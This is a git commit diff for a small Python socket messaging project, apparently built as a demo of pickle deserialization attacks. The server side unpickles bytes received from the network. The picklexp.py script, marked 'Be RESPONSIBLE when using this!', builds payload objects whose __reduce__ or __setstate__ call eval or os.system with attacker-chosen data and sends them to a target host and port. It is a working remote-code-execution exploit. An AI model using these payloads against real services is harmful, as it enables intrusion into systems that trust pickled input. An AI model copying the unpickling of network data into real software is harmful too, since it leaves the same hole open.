Updates to all scripts.
This commit is contained in:
parent
96d9e430b2
commit
c44110515e
13
main.py
13
main.py
@ -2,7 +2,7 @@
|
||||
import networker as net
|
||||
import sys
|
||||
from threading import Thread
|
||||
import traceback
|
||||
#import traceback
|
||||
|
||||
translators = (net.PickleTranslate(), net.JSONTranslate())
|
||||
|
||||
@ -13,6 +13,13 @@ conn = None
|
||||
allowFiles = False
|
||||
log = []
|
||||
|
||||
def listAsTypes(lin):
|
||||
toret = "["
|
||||
for x in lin:
|
||||
toret += str(type(x)) + ", "
|
||||
toret = toret[:-2]
|
||||
return toret + "]"
|
||||
|
||||
def onConn(addr):
|
||||
log.append(addr + " # Connection Established")
|
||||
|
||||
@ -103,7 +110,7 @@ def main():
|
||||
|
||||
except Exception as e:
|
||||
print("Command Error!")
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
exit
|
||||
|
||||
|
||||
@ -120,7 +127,7 @@ if __name__ == "__main__":
|
||||
if len(sys.argv) > 3:
|
||||
translator = translators[int(sys.argv[3]) - 1]
|
||||
else:
|
||||
translator = translators[int(input("Enter the message translator position " + str(translators) + " : ")) - 1]
|
||||
translator = translators[int(input("Enter the message translator position " + listAsTypes(translators) + " : ")) - 1]
|
||||
main()
|
||||
|
||||
|
||||
|
10
networker.py
10
networker.py
@ -5,7 +5,7 @@ import socket
|
||||
import time
|
||||
from threading import Thread
|
||||
import base64
|
||||
import traceback
|
||||
#import traceback
|
||||
|
||||
#Defines a message class that has a type, header and a body.
|
||||
class Message:
|
||||
@ -69,13 +69,13 @@ class PickleTranslate:
|
||||
try:
|
||||
return pickle.dumps(m)
|
||||
except:
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
return None
|
||||
def fromString(self, b):
|
||||
try:
|
||||
return pickle.loads(b)
|
||||
except:
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
return None
|
||||
|
||||
#JSON Translator for Message to and from bytes.
|
||||
@ -84,13 +84,13 @@ class JSONTranslate:
|
||||
try:
|
||||
return json.dumps(m.toDict())
|
||||
except:
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
return None
|
||||
def fromString(self, b):
|
||||
try:
|
||||
return MessageFromDict(json.loads(b))
|
||||
except:
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
return None
|
||||
|
||||
#Connection class
|
||||
|
38
picklexp.py
38
picklexp.py
@ -2,49 +2,50 @@
|
||||
#Be RESPONSIBLE when using this!
|
||||
import networker as net
|
||||
import pickle
|
||||
import traceback
|
||||
import sys
|
||||
#import traceback
|
||||
|
||||
#Payloads:
|
||||
#State payloads only work if the Object is available at the target
|
||||
|
||||
class StatePXP:
|
||||
class ExpBase:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
|
||||
class StateBase(ExpBase):
|
||||
def __getstate__(self):
|
||||
return self.data
|
||||
|
||||
class StatePXP(StateBase):
|
||||
def __setstate__(self, state):
|
||||
self.data = state
|
||||
print(self.data)
|
||||
|
||||
class ReducePXP:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
class ReducePXP(ExpBase):
|
||||
def __reduce__(self):
|
||||
return print, (self.data,)
|
||||
|
||||
class StateEXP:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
def __getstate__(self):
|
||||
return self.data
|
||||
class StateEXP(StateBase):
|
||||
def __setstate__(self, state):
|
||||
self.data = state
|
||||
eval(self.data)
|
||||
|
||||
class ReduceEXP:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
class ReduceEXP(ExpBase):
|
||||
def __reduce__(self):
|
||||
return eval, (self.data,)
|
||||
|
||||
class ReduceSXP:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
class ReduceSXP(ExpBase):
|
||||
def __reduce__(self):
|
||||
import os
|
||||
return os.system, (self.data,)
|
||||
|
||||
def listAsTypes(lin):
|
||||
toret = "["
|
||||
for x in lin:
|
||||
toret += str(type(x)) + ", "
|
||||
toret = toret[:-2]
|
||||
return toret + "]"
|
||||
|
||||
payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP(""))
|
||||
payload = None
|
||||
taddr = ""
|
||||
@ -68,7 +69,8 @@ def main():
|
||||
conn.send(taddr+":"+str(tport), payload)
|
||||
print("Exploited!")
|
||||
except:
|
||||
print(traceback.format_exc())
|
||||
#print(traceback.format_exc())
|
||||
pass
|
||||
conn.close()
|
||||
exit
|
||||
|
||||
@ -85,7 +87,7 @@ if __name__ == "__main__":
|
||||
if len(sys.argv) > 3:
|
||||
plid = int(sys.argv[3]) - 1
|
||||
else:
|
||||
plid = int(input("Enter the payload position " + str(payloads) + " : ")) - 1
|
||||
plid = int(input("Enter the payload position " + listAsTypes(payloads) + " : ")) - 1
|
||||
if len(sys.argv) > 4:
|
||||
pldata = sys.argv[4]
|
||||
else:
|
||||
|
Loading…
Reference in New Issue
Block a user